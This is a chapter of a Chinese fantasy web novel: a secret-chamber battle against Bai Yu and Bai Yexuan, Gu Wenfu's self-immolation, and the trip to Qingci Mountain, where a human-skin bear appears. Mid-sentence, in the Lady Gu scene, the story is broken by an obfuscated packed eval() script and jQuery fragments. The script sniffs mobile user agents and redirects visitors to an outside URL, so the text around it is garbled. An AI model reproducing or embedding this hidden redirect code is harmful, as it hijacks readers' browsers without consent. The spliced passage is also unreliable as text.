13.青辞山
作品:《反派结局只有死亡》 密室内,阴气翻涌,刺骨的寒意肆意弥漫。温随川的剑锋在幽暗中划出冷冽弧光,每一次劈砍都带着雷霆万钧之力。剧烈的动作扯动伤口,血珠不断渗出,洇红了他的衣袍,然而他却浑然不觉,双眸之中寒芒愈发强盛
“不过是当年侥幸逃脱的杂种,不好好珍惜偷来的日子,还敢公然建立归墟宗,真该说你有本事还是蠢呢?”白玉嗤笑一声,声音冰冷,一字一顿道:“弟弟。”
温随川听言手上动作微滞,白玉抓住这转瞬即逝的时机,指尖连弹,数根银针如流星般射出,瞬间化作千道流光,密如蛛网,封死了温随川所有退路,白夜玄默契的配合着挥剑而上。
“谬赞了,我可从没认为和你们是一家人。”
他冷笑一声,奋力斩退白夜玄,足尖轻点石壁,身形如鹤掠空,轻盈而敏捷竟在针雨中拧身折返,直冲白玉而去。剑锋擦过白玉耳际的刹那,他嘴角勾起一抹弧度,他低笑一声:“不过,幼时种种,今日还是一并还了你的好。”
话音还在密室内回荡,剑刃之上突然迸发出刺目青芒,光芒夺目,让人几近睁不开眼。
“白玉,快躲开!”白夜玄见状大惊,急忙喝道。他来不及多想,将手中剑奋力飞掷出去,目标直指温随川。剑势凌厉,迫使温随川的剑歪了几分。
剑气如潮,竟硬生生将密室石壁割裂出三尺深的沟壑。碎石飞溅,尘土弥漫。白玉狼狈不堪地翻滚避开,白玉狼狈翻滚避开,发髻散乱如疯妇,再不复往日优雅。
“你居然敢——!””白玉又惊又怒,只觉一阵脸颊刺痛。她下意识伸手一抹,原本白皙的肌肤已被碎石划开了一道一指长的口子,殷红的血珠缓缓渗出。她表情瞬间变得狠厉无比,毫不犹豫地抛出三枚赤色符箓。符纸遇风即燃,瞬间化作三条火龙,张牙舞爪地扑向温随川
温随川面色凝重,费力阻挡开。一番激斗后,他身形摇晃,抹了把嘴角的血渍。而趁着这个间隙,白夜玄已经迅速站在了密室正中,手中长剑倒插入地。刹那间,地面如蛛网般崩裂开无数细细密密的裂痕,一道道赤红的光芒从中刺出,照在温随川身上。温随川只觉全身蓦然一僵,仿佛被一股无形的力量禁锢,再难前进半分。
“果然,对付你这杂种,还是困妖阵来的管用。”白夜玄轻蔑又讥讽地笑道。
***
夏桑桑的意识沉在混沌深处,耳边忽闻爷爷苍老的声音:“戴上傩面是神,摘下傩面是人。桑桑,咱们跳傩戏的,不单单是去演神,更要入神,以凡人之躯,承神灵之命,咱们要化神。”
无数记忆碎片涌入脑海:幼时爷爷跳傩戏时动作步伐,面具开阖时唱出的调子,还有那无数个日日夜夜,爷爷在昏暗灯光下,专注又仔细地雕琢面具的身影......
【叮!检测到主要目标人物生命值极速下降,请宿主及时支援!】
机械音炸响在耳畔,在一阵剧烈的颠簸中,夏桑桑猛然睁眼。只见顾文傅正背着她踉跄奔逃,前方便是密道的尽头。
“放我下来。”夏桑桑嗓音沙哑却坚定,“我家大师兄需要我。”
“这……””顾文傅面露犹豫之色,脚步顿了一下。夏桑桑见状直接推了一把,从他的身上跳了下来。
她头也不回的就要朝密室走去,顾文傅突然喊道:“等等!”
他从怀中取出了夏桑桑先前被偷走的“开山莽将”,唇瓣紧抿,好不容易才憋出一句含在嘴里的“抱歉”二字。
夏桑桑接过面具,微微一愣,随后轻轻点了点头。她深吸一口气,扣上面具,大步奔下石阶。
密道内,白夜玄正全力稳定阵心,无法脱身。白玉见状,飞身而上,手中见血封喉的毒针如毒蛇吐信,距温随川咽喉仅剩半寸。
千钧一发之际,带着傩面的夏桑桑忽至身前。她手中幻化出两柄开山斧,裹挟着凌厉的气势,朝着白玉狠狠劈去。白玉惊恐万分,慌忙后撤。斧头擦过她的侧腰,腰间的护身玉佩“咔嚓”一声,碎成两半
“不可能!”白玉满脸震惊,失声叫道。这可是上等的保命神器,若只是轻轻蹭一下就破了保护,那要是实打实挨上一斧,后果简直不堪设想!
这人到底是使的什么路数,如此霸道的术法,为何之前从未听说过!
夏桑桑默声闪至她身后,双手斧头朝着白玉漏洞百出的后背劈砍而下。
【住手!不可伤及主角性命,会导致世界崩坏!!!】
系统难得的着急了起来,一阵电流窜过夏桑桑的身体,试图唤回将她从化神的状态中唤回。
夏桑桑闷哼一声,状态瞬间被打断。一时间,她意识混沌,难以分清自己究竟是人还是神。
就是这刹那的迟疑,白夜玄拼着被反噬的分享,强行断开了阵法,举剑迅猛袭来,锋利的剑锋直直刺穿了夏桑桑的右肩。温随川目眦欲裂,他不顾一切地强行突破困妖阵残余的威力,飞身扑到夏桑桑身边,将她紧紧揽入怀中。血腥味在空气中弥漫开来,恍惚间,他仿佛回到了那日在寒渊初见她的时候——那时的她就十分狼狈,没想到此刻竟更甚。
“咳咳...我没事。”夏桑桑艰难地扯出一个惨白的笑容,气息微弱。她缓缓揭开面具,大口大口地喘着粗气,每一次呼吸都伴随着钻心的疼痛。
温随川阴冷的睨向二人,就在几人剑拔弩张,正要再次展开殊死搏斗之时,密道口突然传来“哗啦啦”的剧烈水流声。离密道口最近的白玉下意识地看向淌到脚边的水,她眉头紧皱,用指尖沾了一点水凑近鼻子仔细闻了闻,脸色剧变。
“顾文傅你这个疯子!”白玉抬头,只见顾文傅手持火折子,一步一步缓缓踏下台阶。火折子在他指尖明灭闪烁,昏黄的光亮映照着他半边脸,狰狞如鬼。
"既然走不掉了......"顾文傅的声音轻得像呓语,却透着一股决绝,"那顾家的罪孽,就由我亲手烧个干净。"
火折子脱手而出的刹那,温随川裹着夏桑桑向出口疾掠。白玉和白夜玄也试图夺路而逃,可顾文傅却像发了疯一般,不要命地死死拽住他们。紧接着,震耳欲聋的爆炸声响起,气浪如汹涌的波涛,将他们齐齐掀飞了出去。
整座密室在剧烈的轰鸣中轰然坍塌,砖石纷飞。顾文傅的笑声淹没在熊熊烈焰之中,他艰难地挣扎着,一点点爬到了顾惊棠的尸体旁,声音微弱却满是解脱。
"惊棠,哥哥来陪你了......"
这场大火仿佛要将一切罪恶与痛苦都燃烧殆尽,整整烧了一夜,将顾老爷的院子烧得片瓦不留。直到第二天天明,火势才堪堪被扑灭。
晨光艰难地刺破厚重的云层,洒在这片焦黑的废墟之上。夏桑桑脚步沉重地走进这片残垣断壁之中,庭院里碎石狼藉。
“顾夫人。”她轻声唤道,声音在寂静的废墟中显得格外清晰。
那个昨日还秀丽娴静的女子,此刻佝偻着背立在残垣边,满头青丝尽成霜雪,皱纹如蛛网般爬满眼角,变成了一个干枯的老妇人。
她手中捧着一方檀木匣,袖口被晨露浸得微湿。她望着从残垣断壁中蹒跚走出的二人,眼眶泛红,深深福了一礼。
“我这副模样,怕是吓了二位一跳吧。””顾夫人的声音像枯竭的河床,“昨夜我用三十年的阳寿换来了鬼婴的提前降生,所以才变成了这副模样,还往各位别见怪”
她掀开匣盖,将木匣推向夏桑桑,两副面具在木匣中泛着温润的青铜色,"两幅''傩公''''傩母'',以及交给夏小姐的那一幅,都是顾文傅当年寻来的。其中两幅面具因顾文傅一直没找到激发面具的方法,便闲置在了库房中逃过一劫,但这副‘傩母’,已被怨气浸染多年,不知是否还能用,一并给夏小姐你吧。"
夏桑桑接过木匣,“傩母”面具忽然在手中震颤起来,獠牙开合间溢出丝缕黑气吓了她一跳。温随川的手掌覆上用灵力压制,傩面顿时安静如死物。
"夫人可知这傩母面具的来历?"夏桑桑摩挲着面具边缘的裂痕,上面似乎刻着什么字,但已经辩识不出来了。
"其中具体我并不清楚,只听说出自青辞山匠人之手,二为若想寻他,可以去那碰碰运气。"顾夫人从袖中取出一沓银票,"这里是一千两银票,权当谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177758|164048||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
礼,二位若还有什么想要的,尽管可以提出来。”
“嗯……”夏桑桑默默举起手,道,“顾夫人,顾老爷这些年经商不断,应该有不少渠道吧,不知可否帮我们将这些银票都换成药材?”
***
归墟宗的残破山门前,林清厌正将最后一捧药泥敷在燕归伤口上。忽见天际剑光如虹,夏桑桑被温随川扶着站在剑上俯冲而下,怀中鼓鼓囊囊塞满药包。
"千年雪莲!"林清厌扯开包袱时指尖都在发颤,"还有赤炎蟒胆?你们是去抢了钱庄了?"
"帮有钱人家除了妖,人家给的谢礼。"温随川笑着抖开乾坤袋,药材如瀑倾泻,在青石板上堆成小山。正在磨剑的小弟子手一抖,断剑"当啷"坠地——这么多年了,宗门终于是要发财了吗?
终于,在连续敷了几日那个恶臭的药泥,差点被腌入味后,归墟宗的伤员们裹上了新换的纱布,在暖洋洋的日头下喝起了药汤。
夏桑桑坐在青石阶上擦拭着几副傩面,忽闻身后传来脚步声。回头时,温随川正倚着山门的断柱,指尖转着块泛黄的羊皮地图,日光在他眼尾镀上金边。
“青辞山在西南边陲,”他忽然开口,地图上蜿蜒的绿线像条沉睡的巨蟒,“你若想去,那我们得提前做些准备。”
夏桑桑擦拭着手上的傩母面具上,忽觉掌心刺痛——手掌被裂缝划破了道口子,鲜血滴在面具上,在用刀刻下的痕迹中,模模糊糊的凝成“往生”二字。
系统的机械音突兀响起:【检测到傩母面具残留顾府女鬼的怨念,请前往青辞山,在傩面匠人的帮助下净化怨念。】
三日后,二人踩着腐叶踏入青辞山。湿热的空气里浮动着硫磺味,藤蔓如巨蟒盘绕古树,偶尔传来毒蛙的幽鸣。
青辞山的雾是活的。
夏桑桑踩碎第四只毒蛛时,终于确信这个事实。蛛腹爆开的瞬间,乳白的雾气突然凝成蛛网,缠住她的脚踝。温随川的剑穗轻扫过她后颈,打落两片人面树叶,树叶背面布满血丝,叶脉跳动着类似心脏的节奏。
"酉时三刻了。"温随川抬头望了望混沌的天色,剑尖挑起一截焦黑藤蔓。藤蔓断面渗出粘稠的黑血,滴在岩石上竟腐蚀出人脸状的凹痕,"今夜要在雾里过夜。"
篝火燃起的瞬间,林深处传来树枝断裂声,夏桑桑看去,大概六七十米外,有一个身形臃肿的人正在朝着自己招手,她下意识想要回应,温随川的手突然覆上她的眼睫。
他的掌心有剑茧粗糙的纹路,呼吸扫过她耳垂时带着松烟墨的气息:"别回它,那不是人,是人皮熊。"
什么是人皮熊?
夏桑桑还没来得及问出口,远处便传来掐着嗓子的嬉笑声,一边笑着一边念起诡异的童谣:“一招手,食舌眼;二招手,挖心肝;招三招手......"歌声戛然而止,取而代之的是利齿撕扯皮肉的声响。温随川的剑在鞘中轻颤,剑柄上缠绕的镇妖铃无风自动。
夏桑桑浑身寒毛直立。
待温随川松开覆在她眼睛上的手时,她发现人皮熊离他们更进了,大概只有四十米的距离。
篝火在雾气中缩成一点猩红,人皮熊的第二声招呼穿透浓雾。四十米外的黑影陡然拉长,化作顾惊棠的模样,裙摆下却探出熊掌般的利爪。它挎着竹篮款款走近,篮中盛满带血的铜钱。
"别看眼睛。"温随川的剑鞘压住夏桑桑欲抬的手腕,"它会窥探你的记忆,让你陷入幻觉之中。"话音未落,假顾惊棠突然裂开嘴角——那弧度直达耳根,露出满口倒刺的獠牙。
夏桑桑手中的面具突然发烫,烫得她险些脱手,整个人恢复了意识。她再看向人皮熊时,发现人皮熊只离自己仅有二十米左右的距离。
当人皮熊开始第三次招呼时,他终于现出本体——只是一只高达三丈的棕熊。熊首还在试图幻化出温随川的脸,它的身上披着层层叠叠的人皮,张嘴时,声音也不是从熊嘴里传出的,而是从它身上的人皮发出的声音。
“夏师妹……”人皮熊别捏模仿出温随川的声音,“夏师妹,来,别怕……来……”